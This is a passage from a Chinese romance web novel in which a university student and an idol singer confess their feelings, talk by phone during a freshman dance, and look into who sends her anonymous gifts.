姜烟澜忙着观察战况，和郁渺比当事人都关心这件事的发展走向。
而裴珉雅刷视频看到这件事的时候当即就跑到阳台去了。
“你疯了？”先是不礼貌地反问了一句，意识到自己声音有点大后裴珉雅探头看了一眼安静的宿舍，捂着嘴小声问：“是你上次找我问的那个女生？”
“是吧。”
裴珉承给了一个模棱两可的回答，裴珉雅“啧”了一声，评价道：“哥你好禽兽不如。”
“……”
裴珉雅问到：“你这么说人家知道吗？”
那必然是不知道了。
裴祉嫄甚至还把他拉黑了。
裴珉承看着聊天界面的红色感叹号笑了一下。
被他笑得鸡皮疙瘩都起来了，裴珉雅搓着手臂说：“总之你自己看着办吧我也管不了了。”
“知道了，”裴珉承说完叹了口气，还没等裴珉雅问，就用一种长辈的语气说道：“妹妹长大了会关心哥哥了，好欣慰。”
裴珉雅无语得笑了一下，看他还有精力调侃她说明事态还算在他的控制范围内，担心得加速跳动的心脏在这一刻放松下来，她又恢复了往日的冷脸。
“我等你把我那位小嫂嫂领回家的时候哦。”
裴珉雅冷着脸故意说了一句，不等他反应过来就把电话挂断了。
挂电话后她看着两人的通话界面沉默了一下，大晚上给爸妈发了一条消息。
BAEBAE：放心吧爸妈，你们儿子性取向是正常的。
父母这个点已经睡下了，裴珉雅没有等回复，收起手机动作很轻地爬回了床上。
第二天裴祉嫄和段贞绫看着姜烟澜眼下的黑眼圈震惊：“你晚上做什么了？”
姜烟澜眼神幽怨地看了一眼脸色很好的裴祉嫄，“你还睡得着？”
闻言裴祉嫄也听出来了她的意思，拍拍她的肩，“你辛苦了，不过我确实睡得着。”
“……”还真是皇帝不急太监急，姜烟澜叹了口气。
两人跟打哑谜似的聊了半天，段贞绫一肚子疑惑都插不进去缝隙说话，最后只能在一旁看着她们你一言我一语地说完。
聊完后姜烟澜看到无聊地滑手机的她，指着去阳台洗漱的裴祉嫄小声说：“感情问题，你懂吧。”
段贞绫轻轻“啊”了一声，表示理解了。
三个人在宿舍躺了半天，下午去食堂吃了饭就去教室上晚自习了。
高中时老师说上了大学就好了，没想到大学也逃不过晚自习。
不过晚自习是没有上课的，同学们都自发拿出作业做，还可以偷偷玩会儿手机，还是比较轻松的。
从教学楼出来已经快十点了，白天没有吃太多已经开始饿了的三人准备到校门口去买点吃的。
刚出校门口姜烟澜就拍了一下裴祉嫄的手臂，凑过来小声说：“那好像是裴珉承。”
裴祉嫄抬头，一眼就看到了站在不远处的裴珉承。
18. 过去
即使只穿着简单的黑t牛仔裤，甚至只露出一双眼睛，在人来人往的人群里也很出挑。
有裴珉承的地方，都像是一副画。
裴祉嫄愣着和他对视，身边的姜烟澜面无表情地推了她一把，“我和贞贞买吃的，你们俩好好聊聊吧。”
说罢拉着段贞绫走到了一边。
裴祉嫄在原地站了一会，到底还是担心他这样光明正大出现在这影响不好，有些别扭地走了过去。
“你怎么来了？”
裴珉承没说话，伸手牵着她的手腕往安静的地方走去。
她也没挣扎，热闹的校门口确实不是个能谈话的好地方。
上了车后裴珉承就松开了她的手，沉默的氛围在空间狭窄的车里散开，裴祉嫄感觉有点呼吸不畅。
“你生气了？”
裴祉嫄还没组织好语言，就听到裴珉承问了一个看起来就很明知故问的问题，她偏头看了他一眼，语气淡淡的：“没有。”
等了一会儿，她听到裴珉承长吐了一口气。
“我说的不是别人。”
和裴珉承认识这么久以来，第一次听到他说话声音能这么小声，不知道是不好意思还是什么，如果不是车里太安静，她可能根本听不清他在讲什么。
裴祉嫄“哦”了一声，没有说别的话。
“我没有谈过恋爱。”
“……”
裴珉承跟挤牙膏似的挤出了第二句话，前言不搭后语，上文不接下文。
裴祉嫄盯着他在灯光下发着光的头发丝看，神情不变地说：“你继续说。”
她还挺好奇他能挤多久的。
“……”
裴珉承看了她一下，眼神好像有点幽怨。
不过倒也是很认真的开口讲话了。
裴祉嫄安静地听他讲了一长串自己的心理变化过程，还是头一次看他话如此多的时候，她感觉挺新奇的。
以前没发现，他脸居然这么容易红。
当然也有可能是因为在她面前他脸从来不会红。
可能是皮肤白的缘故，脸红的同时连带着脖子和耳朵都染上了颜色。
光看着都感觉他快烫熟了。
其实内心的气早就散了，从看到他的第一眼起就被别的情绪占据了。
仔细想想，从高考结束后她犯糊涂的那一天之后，两个人都是通过网络聊天的。
像是网友。
他线上的话少得可怕，有时候更像是一戳就会触发“嗯”这个回答的AI。
她忙着和老朋友分开，认识新朋友，习惯新的校园生活，因为他也忙于工作，她不想打扰他，想他的时候只能在网上找找视频看看他。
其实裴祉嫄也不是没有认真思考过自己的感情问题，只是她也想不起来是从什么开始他变成了特殊的那个人。
或许是从第一次他救下她的那个晚上起，对她而言他就不再是普通的路人了。
她也问过自己为什么喜欢他。
她想，大概是因为在他身边有安全感吧。
不知道为什么，她总是莫名觉得自己生活在一个脆弱的美丽泡泡里，现在看起来她很幸福，有父母有朋友，但总是有一种不真实的感觉。
裴祉嫄突然想到她收到的礼物。
那真是她有记忆以来收到过最棒的礼物了。
那日在裴珉承家录下的歌和舞台被细心剪辑成视频发到了她的手机上。
她平平无奇，唯一的优点大概就是听话和乖，学习成绩勉勉强强，不算整个市最好的，只是属于中上游。
她从来不觉得自己也是有什么闪光点的人。
但是在裴珉承发给她的视频里她看到了不一样的自己。
如果没有车祸，没有缺失的过去，她现在还会努力在舞蹈行业发光吧。
她不知道自己喜欢裴珉承什么，又或者应该说，她不知道自己不喜欢他什么。
在她看来，他是个完美无缺的人。
是越看就越喜欢的人。
现在的她分不清这种夹杂着感激、崇拜和向往的复杂情绪是什么。
只是知道，不见他的时候想见他，见到他的时候还是想他。
只是知道，每次见面她的心跳总有一瞬因为他的出现而跳动。
所以她觉得，这就是喜欢。
裴祉嫄胡乱想了好半天，回神时发现他不知何时已经停下了说话。
她顿了一下，开口问了一个与现在的话题毫不相干的问题：“你收到了吗？”
裴珉承疑惑地“嗯”了一声，不明白她突然说的是什么意思。
“礼物。”裴祉嫄抿抿唇补充道：“生日礼物。”
裴珉承回忆了一下，试探地询问道：“是那个话筒吗？”
裴祉嫄点点头。
其实她想送的并不是这个，只是那个礼物要更耗时间，于是只能退而求其次先选择了能准时送到的礼物。
“生日快乐裴珉承。”
昨天她心情不好，根本就不记得也没心情再去祝福他。
“所以，”裴珉承顿了顿，小声说：“你能先把我从黑名单拉出来吗？”
“……”
就知道要说到这个，裴祉嫄当着他的面把他从黑名单里放了出来。
“你喜欢我吗？”
“我……”
裴珉承刚开口就顿了一下，然后看着她无语得笑了一声，“我刚才说了那么多话的意义是？”
“合着你一句都没听啊。”
那也是，听了一两句的。
只是太长，跟上课似的。
而且，真的能有人仔细听他讲话而不会把注意力转移到他身上吗？
反正她不能。
裴祉嫄丝毫不心虚地回：“那不是太多字了嘛。”
裴珉承深吸一口气，难得有些不自在。
“喜欢。”
说要考虑是真的，他从来不是一个会找借口的人。
入行以来他见过太多的人，这个行业像一个大染缸，没有什么人能独善其身，当然也包括他。
他觉得都挺没意思的。
如果不是因为老板多次劝他，他不会从歌手转变成爱豆。
假如喻栀能顺利长大，现在应该和她一样的年纪吧。
裴珉承看着眼前的人，突然叹了口气。
他也不知道自己为什么会喜欢她。
最初明明只是觉得她可怜才多加照顾的。
但那个晚上裴祉嫄发给他的那条消息让他一下愣住了。
他突然意识到，裴祉嫄不是只会在他身边转的，她有自己的生活。
她还年轻，她会认识很多优秀的人，他们一样的年纪，会有很多共同话题。
也会有人对她很好，甚至能比他更懂说好听的话。
那个时候，她还会记得他吗？
她会发现其实她只是想有这样的人存在自己身边，而那个人并不是非得叫裴珉承。
他觉得自己有点卑鄙，利用了她的年轻不懂事。
但是他并不想和她变成网友的关系，也无法接受她的远离。
他喜欢看她发的消息，喜欢她看自己时亮晶晶的眼睛。
当然他最喜欢的是她跳舞时的样子。
很漂亮，也很夺目。
他没有喜欢过别人，也不知道喜欢一个人是什么感觉，他爱粉丝，但是他知道这是不一样的感情。
没有人能像裴祉嫄一样让他想靠近。
他想，这样的人以后也不会再有了。
所以即使他其实并不想把自己的感情状态分享到大庭广众之下，他不想被过多关注私人生活。
但是他更不想两个人之间的关系因为他的隐瞒变得莫名其妙。
所以他思考了很久，确保她的安全后才在网上透露了一点。
只是没想到会被她拉黑。
裴祉嫄还准备听他的下文，正襟危坐半天发现他不知道怎么回事竟然开始发起了呆。
“就没了？”
不是，这和她想象里的场景不太一样啊。
“我喜欢你。”
明明想听点更浪漫的话，但是就这四个字好像就是最浪漫的语言了。
裴祉嫄觉得自己十分没有出息。
就这么简单的几个字都能让她心满意足。
“说完了？”裴祉嫄伸手放到车门上，这次很
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轻易地就打开了，“我知道了。”
裴珉承拉了一下她的手腕，“你就这么走了？”
“校门关了我就回不去了。”
裴祉嫄指向不远处，两个人在车里待了太久，校门口的人已经逐渐变得稀疏起来。
闻言，裴珉承松开了手。
离开前，裴祉嫄又转过来敲了下车窗，看着车窗降下来，她探上前去揉了一把裴珉承的头发，龇着牙笑着说：“我很早就想这么干啦！”
以为她有什么事要说才降下车窗的裴珉承：“……”
盯着她蹦蹦跳跳的背影，或许是被她明显的好心情传染了，虽然答案没有得到，但是心情也好了很多。
裴珉承笑着看她的身影越走越远直到看不见，低头看到了来自不同的人的消息。
YuAn：我现在脑子不清醒，你等等我。
他回了一个“好”后才一一去看其他消息。
BAEBAE：你来学校了？
Hfueiwndni：你怎么知道？
裴珉雅回了一串省略号，她刚才和同班同学走到校门口时隔老远就看到了站在人群里的裴珉承。
还好他没忘记自己爱豆的身份，知道穿得低调点，还戴了口罩，暂不提他大夏天带个口罩更显眼的事，总之也算是稍微武装了一下。
她当下就给他发了消息，然后眼睁睁看着他就那么靠在路边，以一种看似极其放松其实非常紧张的姿势站了半天。
然后一个女生逆着人群的方向朝他走了过去。
她发誓长这么大没见过自家哥哥露出这种恶心人的表情。
不知道是哪个小女生这么眼瞎看得上他，真是鲜花插在土里。
至于为什么不是插在牛粪上，虽然有点嫌弃，但不得不承认他确实脸很好看。
起了一身鸡皮疙瘩的同时身旁传来了同学略显激动的声音：“哇靠，这口罩哥一看眼睛就知道是个大帅哥。”
随即又变成了遗憾和可惜，“不过帅哥都是名草有主的，那个女生是谁啊，好像没见过。”
这不就有一位现成的例子。
裴珉雅在心里想，虽然别的方面她们可能达不成统一，但是颜值这方面她哥可是公认的好看。
莫名有点骄傲。
裴珉雅踮起脚尖尝试看清楚，她哥像是藏宝藏一样，名字什么的都不跟她说。
可人来人往她们又隔了一段距离，等前面挡了一下的人散了原地哪还有人在。
同学一脸可惜，她倒是恢复了一如既往的冷脸，好像刚才对此感兴趣的人不是她一样。
两人拿着买好的东西回了宿舍。
她一边吃一边等，结果等她吃完东西才收到回复。
BAEBAE：你就不能告诉一下我吗？我可是你妹妹。
Hfueiwndni：以后吧，现在还没有合适的身份。
明白他话里的以后是什么意思后裴珉雅优雅地翻了个白眼，整半天连个身份都没有。
裴珉雅回了个“哦”后没再收到回复，倒也是习惯了他的冷淡，她没再等，洗漱过后就躺到了床上。
另一头的两人还在路上慢悠悠地晃。
“我看你这段时间都要睡不好了。”
姜烟澜捏了捏她的脸，牵着她的手走在还有不少人逗留的室外小路上。
“你还有心情吃饭吗？”
她晃了晃手里的袋子，示意她坐在路边的椅子上。
两个人在椅子上落座，裴祉嫄吃了几口才想起来问：“贞贞呢？”
“她说要去小卖部。”
裴祉嫄“哦”了一声继续吃饭，姜烟澜没有问她问题，其实根本不用问，光看她的样子就知道两个人的谈话一定很好。
裴祉嫄也没想隐瞒她，吃完回去的路上和她大概讲了一下两个人的谈话内容。
对于她的冷处理姜烟澜无条件持支持意见：“你自己也好好想，这可不是小事。”
“好。”
两个人回到宿舍后段贞绫也刚到，寝室里有一道轻微的呼吸声，三个人小心地洗漱完，很快关灯入睡了。
这大概是裴祉嫄开学以来睡着前心情最好的一晚。
19. 过去
两个人回到了以往的联系频率。
得到确定的答案以后裴祉嫄反而不着急在一起了，报完名她就把心思都放在了即将到来的CET考试上。
时间一晃过去小半个月，到了裴珉承他们发行正规四的日子。
上次回归是发行的迷你9辑。
据郁渺说上次正规专是八年前。
两个人搞不懂什么专辑分类，但听到八年都觉得好长时间，她和姜烟澜都还没认识八年呢。
对于这次回归粉丝们都很期待。
当然裴祉嫄也才从郁渺口中得知了这段时间裴珉承的近况。
自从他公开在网上谈及感情问题后，评论区吵到最后分成了两大派，一队天天高喊退队的口号，另一队则始终保持7-1＝0的看法。
与此同时，公司爆出了有关之前引导扩大绯闻事件的丑闻，一时间粉丝之间吵个不停，由此风向又改为维权组。
裴祉嫄只感觉自己像个瓜田里的猹，接受了太多信息差点没给撑死，信息量多得她快要晕倒了。
不过这段时间两个人偶有的聊天里他都从来没说过这些，她又忙着每天泡图书馆自习室，根本没空上网关注这些娱乐新闻。
裴珉承这个时候应该还在工作，她没打扰他，默默收看了新出的直拍视频。
正看着呢，屏幕上方弹出了郁渺的消息，裴祉嫄看了一眼，是一长串的感叹号。
鱼苗：我靠你快看他的话筒！
YuAn：如果没有你的消息，我就看见了。
郁渺索性打了视频过来，两个人隔空一块刷直拍，顺带聊了聊大学生活。
大学后厉念逐渐不在群里聊天了，很多时候都是慢她们要几拍的回消息，郁渺倒是和以前差不多，追星的同时也不忘把这些东西发到群里。
四人群因为她的存在而多了不少的话。
“他已经好多年没换话筒了。”郁渺的声音在安静的空间响起，周末的时间裴珉雅不在，段贞绫也出去玩了，姜烟澜在食堂吃饭，宿舍里只剩她一个人。
“他之前直播还说过这个是粉丝送的来着。”郁渺说着说着突然噤声：“你再说一遍你送的礼物是什么来着？”
裴祉嫄“嗯”了一声：“你想的没错。”
“……”郁渺沉默了一秒，突然叹了口气：“真是孩子长大了。”
突变妈粉？
裴祉嫄没说话，郁渺的声音再度响起，又带着点忧虑的意味：“你还记得我们第一次去看演唱会之后我说的话吗？”
她回想了一下，不太确定地问：“告别的那句话？”
郁渺“嗯”了一声，“我现在还是这么觉得的。”
“既然如此，那就把每一次都当最后一次去珍惜吧，你以前不是经常说什么人要享受当下的话。”
电话那头一直没有传来声音，只有音乐的声音在电话两端响起。
过了一会儿裴祉嫄听到她笑了一下，“你说得是，不管解不解散反正我都不会脱粉的。”
裴祉嫄有想过问她既然她是唯粉为什么不接解散，但是想了想又觉得这样没礼貌，于是还是放弃了询问。
郁渺独自沉默了好半天，又补充道：“其实我是唯粉，他解不解散都跟我没关系的。只是可能毕竟看团太多年，一下要解散的话还真是习惯不了。”
裴祉嫄之前也了解了一下，知道裴珉承的合约在明年的五月中下旬就到期了。
她对他们团是一个不认识，不过之前看演唱会的时候发现倒是全员都挺有实力的。
裴祉嫄没办法和她感同身受，闻言也只是不痛不痒地安慰了几句。
两个人一路从回归专聊到公司，在这一点上倒是格外统一。
商人和资本家都让人讨厌。
说起来裴祉嫄的父母在公司工作了大半辈子，带完徐寅河他那个男团和同期推出的女团后可能也要离职了。
可能是在裴祉嫄大学这几年的时间吧。
爸爸说准备开个舞蹈教室，妈妈就去做个人音乐制作。
裴祉嫄庆幸自己没有一脚踩进这个大坑里面，当时老板慈眉善目的表情现在已经变得扭曲起来。
也许人都是会变的。
两人又闲聊了几句，最后郁渺那头传来叫她的声音后就结束了通话。
看到她交到新的朋友，她也很为她开心。
郁渺虽然很好相处，但是因为有些内向所以显得高冷了一点，最开始四个人里她们跟郁渺最疏远，她总是不参与集体活动，宁愿一个人窝在宿舍追星都不愿意和她们去玩。
跟她变熟她们都花了不少时间。
不过现在看起来好多了，她也在成长。
姜烟澜从食堂给她带了吃的回来，裴祉嫄道过谢后就一边吃饭一边和裴珉承聊天。
YuAn：我看完你的直拍啦！超好看！
上此提及类似的话题时她还在为他怒下好几单专辑，买来的专辑她只拆开看了一下，发现郁渺所说的小卡只有一张他的卡后，多的还是重复卡。
于是那些专辑现在已经不知道在哪个角落吃灰了。
小卡倒是保存得很好。
刚才和郁渺聊天时她突然想起了在演唱会接到的花瓣纸片，虽然没什么用，但这张纸片被她从高中课本上转移到了大学课本里，也好好的。
裴祉嫄发现自己有种收垃圾的感觉，明明能见本人，非要一些没什么用的东西。
YuAn：想看演唱会。
YuAn：想听你的唱歌。
YuAn：你不准备出一下solo专辑吗？
裴祉嫄一连串的问题让裴珉承不知道先回答哪一个，当然到最后还是一一回复了。
就是都是很官方的回答。
Hfueiwndni：演唱会会有的。
Hfueiwndni：歌也有的。
Hfueiwndni：solo以后也会有的。
说了好像和没说一样。
不过她现在也算是懂了一点点，solo的事光靠他一个人恐怕很难实现。
虽然他说得云淡风轻，裴祉嫄也知道在队友们先后出了solo专辑后身为团内数据最好的那一个到现在都没有个人专辑他肯定不会是表面那么的看得开。
YuAn：好吧，我等！
为了怕他每日一问，裴祉嫄迅速转移了话题。
YuAn：还有半个月我们学校就要举行新生舞会了！
裴珉承只回了一个“嗯”，不知怎的，裴祉嫄觉得他好像不太乐意听这个。
或者是觉得她一直吊着他吗？
裴祉嫄胡思乱想了一通，索性跑去阳台打了电话。
姜烟澜看了她一眼，用口型对着她说了一句：“好没出息。”
对于这点裴祉嫄早就有所觉悟，没出息就没
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出息吧。
像做贼一样捂着听筒等了一会儿，裴珉承有些沙哑的声音传入耳里她才反应过来自己戴着耳机。
裴祉嫄想说的话一下都忘了，她愣了一下，问：“你生病了？”
“不是，”裴珉承清了清嗓，回答：“只是录歌太多遍有点哑而已。”
裴祉嫄这才放下心，然后突兀地问起她原本想说的话题：“你会觉得我胆小吗？”
“不会，这是个应该花时间去想的事。”
裴祉嫄心虚地四处瞥了一眼，确保一个人都看不到之后才对着听筒小声说：“我喜欢你。”
那边“嗯”了一声，随后安静地听她的下文。
裴祉嫄紧张得咽了一下口水，她觉得现在面对裴珉承她有一种说不出来的心虚，“但是我害怕。”
“我知道。”
“所以，等我新生舞会结束以后，你能来找我吗？”裴祉嫄想到他的身份问题，没等他回复又自我否决道：“还是我去找你好啦。”
“好。”
裴珉承可能原本是想拒绝她的，裴祉嫄感觉得到他的沉默，但是最后，他还是答应了这个提议。
挂断电话后裴祉嫄有点懵，其实她也不知道为什么非要在那个时候约他见面，她只是当下的那个时候，特别想见他一面。
不过既然决定要见面，那么有一些上次没能说的话，这次她都想和他说。
可能是期待让时间过得很快，在裴珉承的打歌期走到末放时，她也终于迎来了系里的新生舞会。
本次舞会由于她们系新生过少，于是就联合了别的系一起举办。
下完课后学生们各自回宿舍换上了新生联欢会的服装。
新生舞会在c楼的多功能厅举办，学生们一个个打扮得光鲜亮丽，裴祉嫄和姜烟澜穿了ElieSaab2006春夏款的粉色系礼服，为了行走方便，两个人没有选择大裙摆。
一个是亮闪闪的吊带镶钻长裙，另一个则是纱质的抹胸长裙，乍一看很像姐妹装。
段贞绫穿了条修身的鱼尾长裙，整个人显得优雅又温柔。
两个学生式打扮的人看完又开始暗戳戳羡慕，三个人一路说笑着去到了多功能厅。
当然因为路太远路上是骑车去的，裴祉嫄坐在后座捧着两人的裙摆，很怕一不小心掉下去被卷进车轮里。
不过这样的人不在少数，虽然画面有点好笑，也算是一道特别靓丽的校园风景线了。
大厅里大家觥筹交错，乍一看有种高级宴会的感觉，裴祉嫄对舞会不感兴趣，来这里一是为了陪她俩，二是为了蹭茶歇。
她一来就跑到茶歇台坐下给裴珉承疯狂发消息，视频和语音一条接着一条不带停的。
裴珉承结束回归活动后好不容易有了休息时间，一看到裴祉嫄的999+消息感觉头都痛了。
不过看得出来裴祉嫄第一次参加这种活动很兴奋，他也没有打击她的热情。
懒得看她的一长串消息，于是他索性打了个视频。
裴祉嫄捧着手机兴奋地在镜头展示眼前热闹的场景，期间两个人偶尔交流几句。
幸好人不少，想来没人会注意到躲在角落的她。
不过显然她想得不太够，又或许是她低估了自己的显眼度，两人还没说上几句话，身旁不知何时出来了一个她很眼生的人。
“这位同学，可以邀请你跳一支舞吗？”
20. 过去
裴祉嫄闻言愣了一下，瞬间忘了还在和裴珉承打电话，下意识搬出了从开学用到现在的老借口。
“不好意思，我有男朋友了，”怕可信度不够高，她还特地补充了一句，“他人比较……小气。”
男生有些失落，但也没说什么，道完歉就离开了。
他的无功而返被大多数人看在眼里，男生的朋友习以为常地拍肩以示安慰：“不是只有你一个人搭讪失败了。”
大一新生里有很多有点名气的学生，外文系就有好几个，裴祉嫄她们三都在其中。
姜烟澜看起来就不好惹，段贞绫和裴祉嫄好说话得多，三个人的组合有点奇怪，有时候像姐姐带两妹妹，有时候又像社会大姐带坏好学生，因为基本上同进同出引起了不少人注意。
不过姜烟澜不好惹，段贞绫也不好搭讪，每次都说要学习。裴祉嫄更绝，从开学就以一句有对象劝退了不少人。
不过大家猜她应该是在撒谎，毕竟没人见过她男朋友。
只是这明晃晃的拒绝说辞摆在明面上，懂意思的都放弃了，也不乏还有人尝试搭话，不过自然全部以失败告终。
今天这样的场合也少不了有人再起搭讪的心思，三个人在一众人里也格外耀眼。
尤其是裴祉嫄和姜烟澜，她们身上的衣服有懂点的看得出来是秀场款，明星借都不一定借得到的衣服她们拿来参加一个普通的学校舞会，足以见得她们家世背景都不是很一般。
优秀的人总是会有更多人关注的。
能进绥大的人没有学习成绩差的，姜烟澜成绩算中上游，裴祉嫄和段贞绫成绩更是名列前茅。
她们有不止有漂亮的脸蛋，所以好的家世对她们而言也只是锦上添花的东西。
小插曲过去后，自由的舞会活动开始了，这是新生们入学前就知道的，算是大家期待已久的校园活动了。
不会跳舞的也早早的就在礼仪部的教学下学会了简单的舞步。
关于舞伴的事是没有规定的，只要你能找到是谁都行，没有也行，反正都可以来玩。
姜烟澜和段贞绫跟着人群随着音乐起舞，女孩子的裙摆转动起来像是一只翩翩起舞的蝴蝶，很有吸引力。
裴祉嫄撑着下巴遥望舞池的方向，心情颇为美好。
直到经过这一插曲被她遗忘的手机里传来裴珉承的声音：“……你什么时候有的男朋友？”
“……”裴祉嫄愣了一下才反应过来他说的话，脸后知后觉的弥漫上粉红色。
不敢相信，她刚才说的话都被听到了。
裴祉嫄已经习惯用这样的借口免去大部分麻烦了，一开始的磕磕巴巴到现在的熟练也没有用太长时间，同学们太勇敢，隔三差五的她就会收到校园墙上捞人的消息。
一来二去的，就习惯了。
所以她刚才几乎是下意识地脱口而出，有点太过熟练导致她把正在通话的电话和对面的人一块忘了。
裴珉承还没放过她，见她没回话继续问：“怎么不通知我一声。”
裴祉嫄直觉顺着他说下去话题会歪到别的地方去，于是干脆另起了一个话题：“你现在工作都结束了吗？”
她转移话题的方式生硬又直接，不过裴珉承也没戳穿她，顺着她的话题说了下去：“嗯，结束了。”
“那明天我去找你？”
“……好。”
又来了，裴祉嫄觉得说到这个话题时他总是欲言又止，可是她也搞不明白是什么问题，想了想，还是问道：“你怎么了？”
裴珉承疑惑地“嗯”了一声，好像不知道她为什么问起这个。
“什么怎么了？”
“就……”裴祉嫄组织了一下语言，才接着说，“感觉你好像不是很乐意看到我呀。”
裴珉承稍微想了一下明白了她的误会之处，不禁失笑：“别瞎想。”
然后正经严肃地说：“我只是觉得总是让你来找我好像挺不好的。”
才知道他都在考虑些什么，裴祉嫄也不太能感同身受，她去找他，她开心啊，为什么会觉得不好。
但是这话她没说出来，只是说：“你来找我又不方便，你就等着我去见你好啦！”
“知道了。”
他当然知道自己的身份不方便跑到学校去，所以才更加觉得不好，不过听到她语气里的雀跃就知道，她根本不知道他为什么觉得不好。
年轻人总是要多点无所畏惧的勇气的。
她总是那么鲜活有朝气。
在这一刻裴珉承突然很想见裴祉嫄一面，最后还是很理智地克制住了。
“你不去玩吗？”
裴珉承知道这个新生舞会是新生联谊会，旨在让新生们互相认识，她一直在和自己说话，恐怕没什么时间去认识新的朋友。
裴珉承有点担心因为自己让她的社交路有所阻碍。
比起他的担忧和考虑，裴祉嫄显得轻松很多，闻言她连想都没想就回答道：“我不用认识很多人，也没有什么想参加的活动。”
“我只想找你玩。”
其实两个人在一块的时候也多数是各干各的，但是裴祉嫄还是更喜欢这样，喜欢某个瞬间能看到他的脸。
至于这些社交活动，她确实不感兴趣。
比起玩游戏和陌生人破冰什么的，她更喜欢听裴珉承说话。
虽然他话不多。
说者无心听者有意，裴珉承因为她过度坦诚的回答愣了好一会儿才干巴巴地“哦”了一声。
不过裴祉嫄对此毫无察觉，依旧保持着坐在角落里看姜烟澜她们玩的姿势。
两个人有的没的聊了很久，话题也很跳跃，上一秒还在聊她送的礼物，下一秒她突然开始在镜头前展示自己的裙子。
“……”
裴珉承还是第一次看她穿这种吊带长裙，这个品牌的风格奢华又不失浪漫，长裙整体用轻绢曼纱和珠罗蕾丝造就，吊带则是镶嵌着各种珠宝，华美精致。
他知道这个品牌，也知道这条裙子不是秀场上展示过的那条，裴祉嫄身上的这条和秀场上的那一条乍一看很相似，但一些细节之处是看得出来不是同一条的。
想来应该是设计师重新制作的。
这条粉色泛着光的裙子衬得她像是古希腊神话里才会出现的人物，让人想要不注意到都很难。
裴珉承知道她在人群里一直很耀眼，脱下略显稚气的校服穿上这样的裙子时果然也更夺目。
想到她刚才遇到搭讪时熟练的回答，都不用猜也知道平时肯定常常遇到这样的情况。
裴珉承叹了口气，为她的优秀而骄傲的同时也难免生出了几分不安。
“？”
等着被夸的裴祉嫄安静地等了老半天都没听到他的回复就算了，到最后叹口气是几个意思？
“难看？”
明明她换上的时候姜烟澜说可好看了。
裴祉嫄皱着眉问
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话，兴奋的情绪都低落了不少。
“很漂亮，”裴珉承继续干巴巴地解释，“就是因为很漂亮。”
后面的所以他没说出口，裴祉嫄好像也有所察觉，坐在位置上伸手绞了一下散落在脸侧的头发，安静了一会儿后突然说，“其实第一次见你的时候我就觉得你很漂亮。”
不知道她为什么突然说这个话题的原因，裴珉承“嗯”了一声，示意她继续。
裴祉嫄拖长声音“嗯”了一会儿，然后说，“没了。”
她就是觉得怪不好意思的，没话找话来着。
裴珉承“哦”了一声没再说话。
裴祉嫄独自绕了会儿头发，突然开口，“我跟你说个秘密吧。”
裴珉承“嗯”了一下，听她接下来接着说：“其实一直有人在给我送礼物。”
话匣子一旦打开就停不下来，裴祉嫄把这件事说出来后有种轻松一点的感觉，想到她查到的资料，她突然很想和他说这件事。
“我托人私下查了一下，”裴祉嫄顿了一下，然后说，“你猜地址是哪里？”
裴珉承心里好像已经猜到了她的答案，却还是问道：“哪里？”
“孝广市。”
果然，她不会无缘无故地说一件事。
裴珉承问：“想让我帮你查吗？”
裴祉嫄“嗯”了一声，她身上的衣服其实是小半个月前收到的，寄信人是模糊的，地址也是未知的，和衣服寄过来的还有一张打印好的A4纸，上面写着一句简短的话。
“迟来的毕业礼物，新生舞会玩得开心。”
她突然不寒而栗。
有一个神秘的人知道她所有的动向，了解她现在在哪里，也知道她需要什么。
于是她动用了那笔小金库，花大价钱才托人查探到了一个重要的消息。
这事她不能让她的父母知道，所以只能偷偷摸摸私下查一查，还好这笔钱她平时都没什么用得上的地方。
不过她毕竟自有记忆以来都在绥川市生活，上次查裴珉承的生日时她记住了他的籍贯，知道他是孝广市的人，所以一得到消息后就想联系他。
只是想到他这段时间也很忙就没打扰他，刚才正想说就被突然出现的人打断，聊着聊着话题就突然跑偏，她一时之间也忘了询问想问的。
“孝广市太大了，你有具体的位置吗？”
“嗯，”裴祉嫄翻出手机上收到的资料，一字一句地念道：“孝广市西林路1号楼。”
“知道了。”
裴珉承说完就沉默下来，半晌反问道：“西林路？”
只当他是为了确定正确性，裴祉嫄再次重复了一遍刚才的话。
“……知道了。”裴珉承的声音有些低沉，“我这段时间有空，会回去帮你问问的。”
“谢谢。”
说好这件事后两个人约了一下明天见面的时间。
玩完各种游戏的姜烟澜和段贞绫退出人群来找她，舞会落幕，今夜就要结束了。
挂了电话后三人走出了多功能厅的大门，现在已经快十点了，三人骑着车迎着晚风回到了宿舍。
两个人只顾着玩没怎么吃东西，于是一回宿舍就开始泡泡面，快撑死的裴祉嫄婉拒加入泡面大军，换下衣服洗漱完就回到了床上。。
她看了一眼对床紧紧关上的床帘，心情稍微有点复杂地躺下来。
和裴珉承说完晚安后，她翻了个身，很快睡着了。
21. 过去
正所谓是一人恋爱，全寝出动，虽然她没有恋爱，也没有全寝出动。
大二的学姐除了睡觉其他时候都不怎么在寝室。
裴祉嫄一大早就起床了，等她准备出门时剩下两人突然拉开床帘，“你就穿这个出去？”
她低头看了一下自己身上的白t，疑惑：“那不然呢？”
段贞绫从床上爬下来，拉着她的手说：“约会当然要穿小裙子啊！”
“我不是去……”约会。
一句话还没说完她就被姜烟澜用一个字打断，“丑。”
“……”
裴祉嫄的解释被两个人当做不好意思的推拒理由，知情者姜烟澜假装不知情，专心给她搭配衣服。
虽然她平时没有很经常戴饰品，但是她并不缺，盒子里项链戒指之类的饰品琳琅满目，都快把人挑花了眼，段贞绫有种在逛店铺的感觉。
也幸好没有偷东西的，裴祉嫄的饰品至少四位数起步，五六位数的占多数，一大盒加起来可是一笔不小的数目。
也就是她心大，从来都不藏着。
当然也可能是因为东西太多，不算大的衣柜放不完她的奢侈品。
两人精心给她搭了ononmade的粉色一字肩连衣裙和一双细高跟，虽然也有穿短裙的经历，但裴祉嫄还是不太习惯这样的穿搭，她站在镜子前打量自己，不太稳地走了几步路。
“换双鞋吧，别待会儿还没走出学校你就崴脚了。”
姜烟澜翻出一双香奈儿蝴蝶结凉鞋，有刚才的细高跟在前，这双粗跟且跟不算高的鞋子立马就被选中。
裴祉嫄出门前又被强制戴上了PetitCD系列的三层珍珠项链，姜烟澜和段贞绫对视一眼，对于总算是把空荡荡的脖子处填上东西这件事颇为满意。
这下真的从头到脚都搭配完毕了，姜烟澜最后拿了个挂在柜子里不见天日很久的粉色毛线编织口盖包拉上裴祉嫄就走。
“带你出门。”
告别完段贞绫，两人坐电梯到了公寓楼下的停车区域。
她们周末很少留在学校，基本都在外面逛街吃东西，对过于宽阔的学校至今都没能逛完。
